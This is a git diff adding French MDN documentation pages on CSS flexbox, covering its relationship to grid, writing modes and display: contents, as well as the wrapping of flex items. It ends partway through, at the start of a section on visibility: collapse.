+<p><strong>Le module de disposition des boîtes flexibles CSS</strong> (<em>CSS Flexible Box Layout</em>) est un module de CSS qui définit un modèle de boîtes optimisé pour la conception des interfaces utilisateurs. En utilisant le modèle des boîtes flexibles, les éléments d'une conteneur flexible peuvent être disposés dans n'importe quelle direction et étendre leurs dimensions (pour remplir un espace vide) ou se réduire pour éviter de dépasser en dehors de l'élément parent. On peut facilement manipuler les alignements horizontal et vertical des éléments fils. On peut aussi imbriquer plusieurs niveaux de boîtes flexibles afin de construire des dispositions en deux dimensions..</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple qui suit, on utilise <code>display: flex</code> pour un conteneur. Cela signifie que les trois éléments fils deviennent des éléments flexibles. La propriété <code>justify-content</code> a été paramétrée avec la valeur <code>space-between</code> afin d'espacer les éléments de façon égale le long de l'axe principal. Ainsi, on a le même espace à droite et à gauche de chaque élément et, aux extrêmités du conteneur, les bords des éléments fils qui sont alignés avec les bords du conteneur. On peut également voir que les éléments sont étirés le long de l'axe orthogonal (<em>cross axis</em>) car la valeur par défaut de la propriété <code>align-items </code>est <code>stretch</code>. Ainsi, les éléments flexibles s'étirent pour occuper toute la hauteur du conteneur flexible, ils sont donc aussi grands que le plus grand des éléments.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/simple-example.html", '100%', 500)}}</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_CSS">Propriétés CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("flex")}}</li>
+ <li>{{cssxref("flex-basis")}}</li>
+ <li>{{cssxref("flex-direction")}}</li>
+ <li>{{cssxref("flex-flow")}}</li>
+ <li>{{cssxref("flex-grow")}}</li>
+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("flex-wrap")}}</li>
+ <li>{{cssxref("order")}}</li>
+</ul>
+</div>
+
+<h3 id="Propriétés_relatives_à_l'alignement">Propriétés relatives à l'alignement</h3>
+
+<p>Les propriétés <code>align-content</code>, <code>align-self</code>, <code>align-items</code> et <code>justify-content</code> étaient initialement définies dans la spécification Flexbox mais sont désormais définies dans la spécification sur l'alignement des boîtes et la spécification Flexbox fait référence à cette nouvelle spécification pour les définitions à jour. Des propriétés d'alignement additionnelles ont également été définies dans le module de spécification <em>Box Alignment</em>.</p>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("place-items")}}</li>
+ <li>{{cssxref("place-content")}}</li>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+</ul>
+</div>
+
+<h3 id="Termes_du_glossaire">Termes du glossaire</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/fr/docs/Glossary/Flexbox">Flexbox / boîte flexible</a></li>
+ <li><a href="/fr/docs/Glossary/Flex_Container">Conteneur flexible</a></li>
+ <li><a href="/fr/docs/Glossary/Flex_Item">Objet flexible</a></li>
+ <li><a href="/fr/docs/Glossary/Main_Axis">Axe principal</a></li>
+ <li><a href="/fr/docs/Glossary/Cross_Axis">Axe secondaire</a></li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Les concepts de base des boîtes flexibles</a></dt>
+ <dd>Un aperçu des différentes fonctionnalités offertes par les boîtes flexibles.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Liens_entre_flexbox_et_les_autres_dispositions">Les liens entre <em>flexbox</em> et les autres méthodes de disposition</a></dt>
+ <dd>Comment <em>flexbox</em> s'articule avec les autres méthodes de disposition et les différents modules de spécification CSS.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Aligner_des_éléments_dans_un_conteneur_flexible">L'alignement des éléments au sein d'un conteneur flexible</a></dt>
+ <dd>Le fonctionnement des propriétés d'alignement des boîtes dans le contexte des boîtes flexibles.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Ordonner_éléments_flexibles">Ordonner les éléments flexibles</a></dt>
+ <dd>Ce guide explique les différentes méthodes qui permettent de modifier l'ordre et la direction des éléments dans le conteneur flexible et aborde également les problèmes que cela peut causer.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Contrôler_les_proportions_des_boîtes_flexibles_le_long_de_l_axe_principal">Contrôler les proportions des éléments flexibles le long de l'axe principal</a></dt>
+ <dd>Cet article explique le fonctionnement des propriétés <code>flex-grow</code>, <code>flex-shrink</code> et <code>flex-basis</code>.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Ma%C3%AEtriser_passage_%C3%A0_la_ligne_des_%C3%A9l%C3%A9ments_flexibles">Maîtriser le passage à la ligne des éléments flexibles</a></dt>
+ <dd>Comment créer des conteneur flexibles qui s'étendent sur plusieurs lignes et contrôler l'affichage des éléments sur ces lignes.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Cas_utilisation_flexbox">Les cas d'utilisation classiques des boîtes flexibles</a></dt>
+ <dd>Des <em>design patterns</em> pouvant être résolus avec les boîtes flexibles.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/R%C3%A9trocompatibilite_de_flexbox">La rétrocompatibilité de <em>flexbox</em></a></dt>
+ <dd>L'état de la compatibilité des navigateurs pour les boîtes flexibles, les différents problème d'interopérabilité, la gestion des anciens navigateurs et l'évolution de la spécification.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox')}}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://github.com/philipwalton/flexbugs">Flexbugs : une liste, maintenue par la communauté, des différents bugs des navigateurs relatifs aux boîtes flexibles et les éventuelles méthodes de contournements associées</a></li>
+ <li><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Mixins">Mixins multi-navigateurs pour flexbox</a> : cet article fournit un ensemble de mixins pour obtenir l'effet des flexbox de façon homogène sur les différents navigateurs qui ne supportent pas la syntaxe moderne pour les boîtes flexibles</li>
+</ul>
diff --git a/files/fr/web/css/css_flexible_box_layout/liens_entre_flexbox_et_les_autres_dispositions/index.html b/files/fr/web/css/css_flexible_box_layout/liens_entre_flexbox_et_les_autres_dispositions/index.html
new file mode 100644
index 0000000000..c6e9691ae5
--- /dev/null
+++ b/files/fr/web/css/css_flexible_box_layout/liens_entre_flexbox_et_les_autres_dispositions/index.html
@@ -0,0 +1,125 @@
+---
+title: Les liens entre flexbox et les autres méthodes de disposition
+slug: Web/CSS/CSS_Flexible_Box_Layout/Liens_entre_flexbox_et_les_autres_dispositions
+tags:
+  - CSS
+  - Guide
+  - display
+  - flexbox
+  - grid
+translation_of: >-
+  Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Dans cet article, nous verrons comment les boîtes flexibles interagissent avec les autres modules CSS. Nous verrons quelles sont les spécifications qui décrivent les boîtes flexibles et pourquoi les boîtes flexibles sont différentes des autres modules.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Dans les versions 1 et 2 de CSS, la spécification était « monolithique » et décrite dans un seul document. Évoluant vers un langage riche possédant de nombreuses fonctionnalité, la maintenance de cette spécification unique est devenue problématiques, certaines parties évoluant à différentes vitesses. La spécification CSS a donc été modularisée et ce sont ces différents modules qui constituent CSS aujourd'hui. Ces modules sont liés les uns aux autres et sont chacun à différents stades de développement.</p>
+</div>
+
+<h2 id="Le_module_d'alignement_des_boîtes_(Box_Alignment)">Le module d'alignement des boîtes (<em>Box Alignment</em>)</h2>
+
+<p>La plupart des personnes s'intéressent aux boîtes flexibles car elles permettent d'aligner efficacement des éléments flexibles au sein d'un conteneur. Les boîtes flexibles permettent d'utiliser des propriétés pour aligner les éléments sur l'axe secondaire et de les justifier sur l'axe principal.</p>
+
+<p>Ces propriétés sont apparues dans la spécification dédiée aux boîtes flexibles mais font désormais également partie de <a href="https://www.w3.org/TR/css-align-3/">la spécification sur l'alignement des boîtes (<em>Box Alignment</em>)</a>. Cette spécification détaille la façon dont l'alignement fonctionne pour l'ensemble des dispositions (et pas uniquement pour les boîtes flexibles). L'alignement des boîtes permet de gérer l'alignement et la justification, ainsi que la distribution de l'espace le long d'un axe.</p>
+
+<p>Ces propriétés d'alignement sont actuellement détaillées dans les spécifications de <em>flexbox</em> et d'alignement des boîtes afin d'être sûr que la spécification des boîtes flexibles n'est pas bloquée par l'état de la spécification sur l'alignement des boîtes. Dans la spécification <em>flexbox</em>, une note indique que lorsque la spécification sur l'alignement des boîtes sera terminée, ces définitions remplaceront celles de la spécification sur les boîtes flexibles :</p>
+
+<blockquote>
+<p>« Note : Bien que les propriétés d'alignement soient définies dans le module CSS <em>Box Alignment</em> <a href="https://www.w3.org/TR/css-align-3/">CSS-ALIGN-3</a>, le module <em>Flexible Box Layout</em> reproduit les définitions des propriétés qui sont ici pertinentes afin de ne pas créer de dépendance normative qui ralentirait l'avancement de la spécification. Ces propriétés s'appliquent uniquement à la disposition flexible jusqu'à ce que <em>CSS Box Alignment Level 3</em> soit terminé et définisse leurs effets pour les autres modes de disposition. De plus, toute nouvelle valeur qui apparaîtra dans le module <em>Box Alignment</em> s'appliquera également à la disposition en boîtes flexibles. Autrement dit, le module <em>Box Alignment</em>, lorsqu'il sera complet, remplacera les définitions énoncées ici. »</p>
+</blockquote>
+
+<p>Dans un prochain article de ce guide (<a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Aligner_des_%C3%A9l%C3%A9ments_dans_un_conteneur_flexible">Aligner les éléments d'un conteneur flexibles</a>), nous verrons dans le détail comment les propriétés du module d'alignement des boîtes s'appliquent aux éléments flexibles.</p>
+
+<h3 id="Les_propriétés_d'espacement_(gap)">Les propriétés d'espacement (<em>gap</em>)</h3>
+
+<p>Récemment, les propriétés {{cssxref("row-gap")}} et {{cssxref("column-gap")}}, ainsi que la propriété raccourcie {{cssxref("gap")}} ont été ajoutées au module d'alignement des boîtes. Ces propriétés furent initialement définies dans la spécification de la grille CSS et étaient nommées <code>grid-row-gap</code>, <code>grid-column-gap</code> et <code>grid-gap</code>. Elles ont été renommées et déplacées dans le module d'alignement des boîtes afin de pouvoir être utilisées dans d'autres modes de disposition et, à terme, avec les boîtes flexibles. Avant la prise en charge des propriétés <code>gap</code>, c'était les propriétés {{cssxref("margin")}} qui étaient utilisées afin de créer des espaces entre les éléments.</p>
+
+<h2 id="Les_modes_d'écritures_(Writing_Modes)">Les modes d'écritures (<em>Writing Modes</em>)</h2>
+
+<p>Dans l'article sur <a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">les concepts de bases relatifs aux <em>flexbox</em></a>, nous avons vu que les boîtes flexibles prenaient en compte le mode d'écriture (la direction du texte). Les différents modes d'écritures sont décrits dans la spécification CSS <a href="https://www.w3.org/TR/css-writing-modes-3/">Writing Modes</a> qui détaille comment CSS prend en charge les différents modes d'écritures qui existent dans le monde. Cette spécification permet notamment de comprendre les directions <strong>de bloc</strong> et <strong>en ligne</strong> qui sont fondamentales pour les axes principal et secondaires des boîtes flexibles.</p>
+
+<p>On notera qu'il est possible de modifier le mode d'écriture d'un document pour d'autres raisons que des raisons linguistiques. Vous pouvez <a href="https://24ways.org/2016/css-writing-modes/">consulter cet article</a> pour en savoir plus sur les différentes façons d'utiliser les modes d'écriture, que ce soit en fonction de la langue du contenu ou pour des raisons créatives.</p>
+
+<h3 id="Les_différents_modes_d'écritures">Les différents modes d'écritures</h3>
+
+<p>La spécification sur les modes d'écriture définit les différentes valeurs qui peuvent être utilisées avec la propriété {{cssxref("writing-mode")}}. Cette propriété permet de modifier la direction de la disposition des blocs sur la page pour correspondre à l'orientation d'un mode d'écriture donné. Vous pouvez manipuler l'exemple qui suit en utilisant les valeurs suivantes pour voir l'impact que cela a sur la disposition flexible :</p>
+
+<ul>
+ <li><code>horizontal-tb</code></li>
+ <li><code>vertical-rl</code></li>
+ <li><code>vertical-lr</code></li>
+ <li><code>sideways-rl</code></li>
+ <li><code>sideways-lr</code></li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/relationship/writing-modes.html", '100%', 360)}} </p>
+
+<p>Actuellement, seul Firefox prend en charge <code>sideways-rl</code> et <code>sideways-lr</code>. Il existe également certains problèmes relatifs à <code>writing-mode</code> et aux boîtes flexibles. Pour plus d'informations, vous pouvez consulter <a href="/fr/docs/Web/CSS/writing-mode#Compatibilité_des_navigateurs">les informations de compatibilité pour la propriété <code>writing-mode</code></a>. Toutefois, si vous souhaitez utiliser les modes d'écritures pour votre site/application, il est fortement conseillé de tester les résultats obtenus, ne serait-ce que parce que cela peut fortement nuire à la lisibilité !</p>
+
+<p>On notera que la propriété <code>writing-mode</code> CSS ne doit pas être utilisée pour modifier le mode d'écriture d'un document entier. Cela doit être fait avec HTML en ajoutant un attribut <code>dir</code> et <code>lang</code> sur l'élément <code>html</code> afin d'indiquer la direction du texte par défaut et la langue du document. Ainsi, le document serait correctement affiché, même si le CSS n'était pas chargé.</p>
+
+<h2 id="Les_boîtes_flexibles_et_les_autres_méthodes_de_disposition">Les boîtes flexibles et les autres méthodes de disposition</h2>
+
+<p>La spécification sur les boîtes flexibles contient <a href="https://www.w3.org/TR/css-flexbox-1/#flex-containers">une définition</a> de ce qui se produit lorsqu'un élément utilisant une autre méthode de disposition devient un élément flexible (par exemple : un élément est positionné de façon flottante et son élément parent devient un conteneur flexible). Elle décrit également comment un conteneur flexible s'inscrit dans une disposition.</p>
+
+<p>Un élément avec <code>display: flex</code> se comportera majoritairement comme un conteneur de bloc qui établit un bloc englobant. Les éléments flottants ne rentreront pas dans ce conteneur et <a href="/fr/docs/Web/CSS/Modèle_de_boîte_CSS/Fusion_des_marges">les marges des conteneurs ne fusionneront pas</a>.</p>
+
+<p>Pour un élément flexible, si celui-ci était avant un élément flottant ou dégagé (<em>cleared</em>) et qu'il devient flexible car son élément parent reçoit <code>display: flex</code>, le flottement et le dégagement ne s'appliquent plus. L'élément ne sera pas retiré du flux normal (ce qui aurait lieu avec un flottement). Si on a utilisé la propriété {{cssxref("vertical-align")}} avec <code>inline-block</code> ou si on a utilisé une disposition tabulaire, cela n'aura plus d'effet et on pourra utiliser les propriétés d'alignement des boîtes flexibles à la place.</p>
+
+<p>Dans le prochain exemple, on applique un flottement sur les éléments fils puis leur conteneur reçoit <code>display: flex</code>. Si vous retirez <code>display: flex</code>, vous pouvez voir que l'élément <code>.box</code> s'écrase car aucun dégagement n'est appliqué. Cela permet de voir que le flottement s'applique. En remettant <code>display: flex</code>, l'élément ne s'écrase plus car les éléments fils sont devenus des éléments flexibles.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/relationship/floats.html", '100%', 430)}}</p>
+
+<h2 id="Les_boîtes_flexibles_et_la_disposition_en_grille">Les boîtes flexibles et la disposition en grille</h2>
+
+<p><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">La disposition en grille (<em>CSS Grid</em>)</a> et les boîtes flexibles agissent de la même façon lorsqu'elles surchargent les autres méthodes de disposition. Les boîtes flexibles pourront être utilisées comme solution de repli si les grilles CSS ne sont pas prises en charge. En effet, les boîtes flexibles bénéficient d'une meilleure prise en charge pour les navigateurs moins récents. Cette approche fonctionne sans problème car, si un élément flexible devient un élément d'une grille, les propriétés <code>flex</code> qui auraient pu être affectées aux éléments enfants seront ignorées.</p>
+
+<p>Les propriétés du module d'alignement des boîtes peuvent être utilisées pour ces deux modes de dispositions.</p>
+
+<h3 id="Flexbox_grille_quelle_différence"><em>Flexbox</em> / grille : quelle différence ?</h3>
+
+<p>On demande souvent quelle est la différence entre la disposition avec les boîtes flexibles et la disposition avec la grille CSS. Pourquoi avoir deux spécifications quand celles-ci semblent avoir le même effet ?</p>
+
+<p>La réponse la plus directe se trouve dans ces deux spécifications. Les boîtes flexibles sont une méthode de disposition unidimensionnelle alors que la grille CSS est une méthode de disposition bidimensionnelle. Dans l'exemple ci-après, on utilise une disposition avec les boîtes flexibles. Comme nous avons vu dans l'article sur les concepts de base, les éléments flexibles peuvent « passer à la ligne » mais chaque ligne forme alors un conteneur flexible indépendant. On voit ici que l'espace est distribué sans prendre en compte le placement des éléments sur les autres lignes/colonnes, il n'y a pas d'alignement.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/relationship/flex-layout.html", '100%', 750)}}</p>
+
+<p>Si on crée une disposition semblable avec une grille, on peut à la fois contrôler la disposition des lignes et des colonnes.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/relationship/grid-layout.html", '100%', 700)}}</p>
+
+<p>Ces exemples illustrent une autre différence majeure entre ces méthodes. Avec la disposition en grille, la majeure partie du dimensionnement s'applique au conteneur (on y définit les pistes et on place les éléments sur ces pistes). Avec la disposition utilisant les boîtes flexibles, on crée un conteneur flexible et on indique sa direction, tout le reste est géré au niveau des éléments.</p>
+
+<p>Dans certains cas, les deux méthodes peuvent fonctionner sans problème. En les utilisant plus fréquemment, vous pourrez voir qu'elles répondent à des besoins différents et vous utiliserez sans doute ces deux méthodes dans votre CSS. Comme souvent, il n'y a pas de solution miracle et de « bonne » ou de « mauvaise » réponse.</p>
+
+<p>De façon générale, si vous ajoutez des marges autour d'éléments flexibles afin que ceux-ci soient alignés, vous devriez utiliser une méthode de disposition bidimensionnelle comme la grille CSS qui vous permettra de mieux organiser votre contenu. La taille du composant à mettre en forme n'a pas d'importance, on n'utilisera pas plus les boîtes flexibles pour un « petit » composant et la grille pour un « grand ». Essayez les différentes méthodes, profitez de la liberté de choix qui existe désormais avec ces outils.</p>
+
+<p>Pour approfondir cette comparaison entre la grille et les boîtes flexibles, vous pouvez consulter <a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition">cet article à propos des relations entre la grille CSS et les autres méthodes de disposition</a>. Cet article détaille les nombreuses différences entre la grille CSS et les boîtes flexibles ; il illustre aussi les fonctionnalités supplémentaires provenant de la grille. Cet article pourra vous aider à choisir la méthode de disposition à privilégier.</p>
+
+<h2 id="Les_boîtes_flexibles_et_display_contents">Les boîtes flexibles et <code>display: contents</code></h2>
+
+<p>La valeur <code>contents</code> de la propriété {{cssxref("display")}} est une nouvelle valeur, décrite ainsi dans la spécification :</p>
+
+<blockquote>
+<p>« L'élément ne génère aucune boîte de lui-même mais ses éléments fils et ses pseudo-éléments continuent de générer des boîtes normalement. En termes de génération de boîtes et de disposition, l'élément doit être traité comme s'il avait été remplacé par ses éléments fils et ses pseudo-éléments dans l'arbre du document. »</p>
+</blockquote>
+
+<p>La valeur de la propriété <code>display</code> contrôle la façon dont les boîtes sont générées et si un élément doit générer une boîte qui puisse être mise en forme et vue sur la page ou si la boîte normalement créée devrait être retirée afin que ses éléments fils soient « remontés » dans l'arbre et participent à la disposition dont l'élément (parent) aurait dû faire partie. Un exemple étant beaucoup plus efficace qu'un long discours, passons à la suite.</p>
+
+<p>Dans l'exemple suivant on dispose d'un conteneur flexible avec trois éléments fils. L'un de ces éléments flexibles possède deux éléments à l'intérieur. Normalement, ces deux éléments ne participent pas à la disposition en boîtes flexibles, car cette disposition s'applique uniquement aux éléments fils <strong>directs</strong> du conteneur flexible.</p>
+
+<p>En ajoutant <code>display: contents</code> à l'élément flexible qui contient deux éléments fils, on peut voir que l'élément disparaît de la disposition et permet à ses deux éléments fils d'agir comme des éléments flexibles. Vous pouvez essayer de retirer la ligne avec <code>display: contents</code> afin que l'élément parent « revienne ».</p>
+
+<p>On notera que cela ne retire que la boîte de la disposition. Les éléments fils au deuxième niveau ne deviennent pas des éléments fils directs pour d'autres notions. On peut voir dans l'exemple qu'on utilise un sélecteur sur les éléments fils directs pour gérer l'arrière-plan et les bordures : ces styles n'ont pas été appliqués aux éléments fils de deuxième rang. Ces éléments ont été disposés comme des éléments flexibles, mais ils ne récupèrent pas la mise en forme des éléments fils directs.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Utiliser <code>display: contents</code> entraînera la suppression de l'élément dans l'arbre d'accessibilité et les lecteurs d'écran ne pourront pas en voir le contenu (comme si on avait utilisé <code>display: none</code>). La valeur <code>contents</code> doit uniquement être utilisée pour les éléments de présentation (et pas de contenu).</p>
+</div>
+
+<p>En retirant la boîte de l'élément parent, on ne peut pas utiliser cette boîte pour, par exemple, ajouter une couleur d'arrière-plan commune aux éléments fils imbriqués. Si on retire <code>display: contents</code> dans l'exemple, on peut voir que l'arrière-plan orange rattaché à l'élément disparaît avec la boîte.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/relationship/display-contents.html", '100%', 650)}}</p>
+
+<p>La prise en charge de <code>display:contents</code> est actuellement limitée parmi les différents navigateurs et cette fonctionnalité est nécessaire au bon fonctionnement de cette démonstration. Firefox prend en charge <code>display: contents</code> et la gestion de cette valeur est en cours d'implémentation dans Chrome. Lorsque cette fonctionnalité sera plus largement disponible, elle sera très utile lorsqu'on souhaitera utiliser une structure à des fins sémantiques mais sans, pour autant, afficher les boîtes générées par défaut.</p>
diff --git a/files/fr/web/css/css_flexible_box_layout/maîtriser_passage_à_la_ligne_des_éléments_flexibles/index.html b/files/fr/web/css/css_flexible_box_layout/maîtriser_passage_à_la_ligne_des_éléments_flexibles/index.html
new file mode 100644
index 0000000000..6b78cba48f
--- /dev/null
+++ b/files/fr/web/css/css_flexible_box_layout/maîtriser_passage_à_la_ligne_des_éléments_flexibles/index.html
@@ -0,0 +1,101 @@
+---
+title: Maîtriser le passage à la ligne des éléments flexibles
+slug: >-
+  Web/CSS/CSS_Flexible_Box_Layout/Maîtriser_passage_à_la_ligne_des_éléments_flexibles
+tags:
+  - CSS
+  - Grille
+  - Guide
+  - Intermediate
+  - flexbox
+  - grid
+  - wrapping
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">Les boîtes flexibles ont été conçues comme une méthode de disposition unidimensionnelle. Autrement dit, elles permettent de disposer des éléments en lignes ou en colonnes mais pas en lignes et en colonnes en même temps. Il existe toutefois la possibilité de passer des éléments flexibles à la ligne pour créer de nouvelles lignes horizontales si {{cssxref("flex-direction")}} vaut <code>row</code> ou de nouvelles colonnes si <code>flex-direction</code> vaut <code>column</code>. Dans ce guide, nous verrons comment cela fonctionne, les cas pour lesquels cela a été prévu et les situations qui nécessitent plutôt d'utiliser <a href="/fr/docs/Web/CSS/CSS_Grid_Layout">une disposition en grille (<em>CSS Grid</em>)</a>.</p>
+
+<h2 id="Créer_des_passages_à_la_ligne">Créer des passages à la ligne</h2>
+
+<p>La valeur initiale de la propriété {{cssxref("flex-wrap")}} est <code>nowrap</code>. Cela signifie que si on a un ensemble d'éléments flexibles trop larges pour tenir dans le conteneur, ces éléments dépasseront. Si on souhaite que ces éléments créent une nouvelle ligne lorsque la largeur du conteneur est dépassée, on peut ajouter la propriété <code>flex-wrap</code> avec la valeur <code>wrap</code>, ou utiliser la propriété raccourcie {{cssxref("flex-flow")}} avec les valeurs <code>row wrap</code> ou <code>column wrap</code>.</p>
+
+<p>Les éléments passeront alors à la ligne dans le conteneur. Dans l'exemple qui suit, on dispose de 10 éléments pour lesquels <code>flex-basis</code> vaut <code>160px</code> et qui peuvent grandir/rétrécir. Une fois que la première ligne est composée de suffisamment d'éléments et qu'il n'y a plus d'espace suffisant pour placer un autre objet de 160 pixels, une nouvelle ligne flexible est créée dans laquelle on place les éléments suivants et ainsi de suite. Les éléments pouvant grandir, ils s'étireront sur plus de 160 pixels afin de remplir chaque ligne complètement. S'il n'y a qu'un seul élément sur la dernière ligne, cet élément s'étirera pour remplir toute la ligne.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/row-wrap.html", '100%', 650)}}</p>
+
+<p>On peut avoir le même effet en colonnes. Ici le conteneur devra avoir une hauteur afin que les éléments créent de nouvelles colonnes et s'étirent en hauteur pour remplir chaque colonne.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/column-wrap.html", '100%', 810)}}</p>
+
+<h2 id="Le_retour_à_la_ligne_et_flex-direction">Le retour à la ligne et <code>flex-direction</code></h2>
+
+<p>Le retour à la ligne fonctionne comme on pourrait s'y attendre lorsqu'on manipule <code>flex-direction</code>. Si <code>flex-direction</code> vaut <code>row-reverse</code>, les éléments commenceront à créer une nouvelle ligne à partir de la ligne de fin du conteneur et rempliront les lignes dans l'ordre inverse.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/row-reverse-wrap.html", '100%', 750)}}</p>
+
+<p>On notera que l'inversion a uniquement lieu dans le sens de la ligne. On démarre à droite puis on passe à la deuxième ligne pour laquelle on démarre également à droite. On n'inverse pas les deux directions et on ne commence donc pas à partir du bas du conteneur pour le remplir vers le haut.</p>
+
+<h2 id="Des_explications_sur_cette_disposition_unidimensionnelle">Des explications sur cette disposition unidimensionnelle</h2>
+
+<p>Comme nous avons pu le voir dans les exemples précédents, si les éléments peuvent grandir et rétrécir, lorsqu'il y a moins d'éléments dans la dernière ligne ou colonne, ces éléments grandissent pour occuper tout l'espace disponible.</p>
+
+<p>Il n'existe pas de méthode, avec les boîtes flexibles, qui permettent d'aligner les éléments d'une ligne avec ceux de la ligne du dessus : chaque ligne flexible agit comme un nouveau conteneur, décorrélé du précédent et gère la distribution de l'espace sur l'axe principal pour cette ligne uniquement. S'il n'y a qu'un seul élément et que celui-ci peut grandir, il remplira alors tout l'espace, comme si on a avait eu un conteneur flexible avec un seul élément flexible.</p>
+
+<p>Si on souhaite organiser du contenu sur deux dimensions, mieux vaut utiliser les grilles CSS. On peut comparer notre exemple précédent avec la version utilisant une disposition en grille pour observer les différences. Dans l'exemple qui suit, on utilise une grille CSS composée d'autant de colonnes de 160 pixels de large que possible et on distribue l'espace restant entre chaque colonne. Toutefois, les éléments restent ici sur la grille et ne s'étirent pas s'il y en a moins sur la dernière ligne.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/grid-example.html", '100%', 700)}}</p>
+
+<p>C'est la différence entre une disposition unidimensionnelle et une disposition bidimensionnelle. Avec une méthode unidimensionnelle comme les boîtes flexibles, on ne contrôle que la ligne ou la colonne. Avec une méthode bidimensionnelle, on contrôle les deux axes simultanément. Aussi, si vous souhaitez organiser l'espace ligne par ligne ou colonne par colonne, vous pouvez utiliser les boîtes flexibles mais sinon, utilisez les grilles CSS.</p>
+
+<h2 id="Comment_fonctionnent_les_systèmes_de_grilles_basés_sur_les_boîtes_flexibles">Comment fonctionnent les systèmes de grilles basés sur les boîtes flexibles ?</h2>
+
+<p>La plupart du temps, les systèmes de grilles basés sur les boîtes flexibles fonctionnent en combinant les boîtes flexibles et les dispositions avec les flottements (<em>floats</em>). Si on affecte des largeurs en pourcentage aux éléments flexibles (via <code>flex-basis</code> ou avec une largeur sur l'élément et avec <code>flex-basis</code> en <code>auto</code>) on peut obtenir l'impression d'une disposition organisée sur deux dimensions, comme on peut voir dans l'exemple ci-après.</p>
+
+<p>Dans cet exemple, on a <code>flex-grow</code> et <code>flex-shrink</code> qui valent <code>0</code> afin que les éléments ne soient pas flexibles et que leur flexibilité puisse être maîtrisée avec des pourcentages, comme on pouvait le faire avec des dispositions flottantes.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/flex-grid.html", '100%', 650)}}</p>
+
+<p>Si on souhaite que les éléments flexibles s'alignent le long de l'axe secondaire, on pourra ajuster les largeurs avec ces pourcentages. Dans la plupart des cas, cet ajout de largeur aux éléments flexibles témoigne plutôt d'un scénario où les grilles CSS seraient plus pertinentes.</p>
+
+<h2 id="Créer_des_gouttières_entre_les_éléments">Créer des gouttières entre les éléments</h2>
+
+<p>Lorsque les éléments flexibles passent à la ligne, il faudra sans doute les espacer. À l'heure actuelle, il n'existe pas d'implémentation des propriétés de gouttières pour <a href="https://www.w3.org/TR/css-align-3/">le module d'alignement des boîtes</a> et pour Flexbox. À l'avenir, nous pourrons utiliser <code>row-gap</code> et <code>column-gap</code> pour les boîtes flexibles, comme nous pouvons le faire avec les grilles CSS. En attendant, il faut utiliser les marges pour obtenir l'effet escompté.</p>
+
+<p>On peut voir dans l'exemple suivant que créer des gouttières entre les éléments sans créer d'espace sur les bords des conteneurs nécessite l'utilisation de marges négatives sur le conteneur flexible. Toutes les bordures du conteneur flexibles sont déplacées vers un deuxième conteneur afin que la marge négative puisse absorber les éléments le long du conteneur.</p>
+
+<p>Cette contrainte sera levée lorsque les propriétés de gouttières seront implémentées. De telles gouttières s'appliqueront uniquement sur les bords des éléments situés à l'intérieur du conteneur.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/gaps.html", '100%', 830)}}</p>
+
+<h2 id="L'impact_de_visibility_collapse">L'impact de <code>visibility: collapse</code></h2>
+
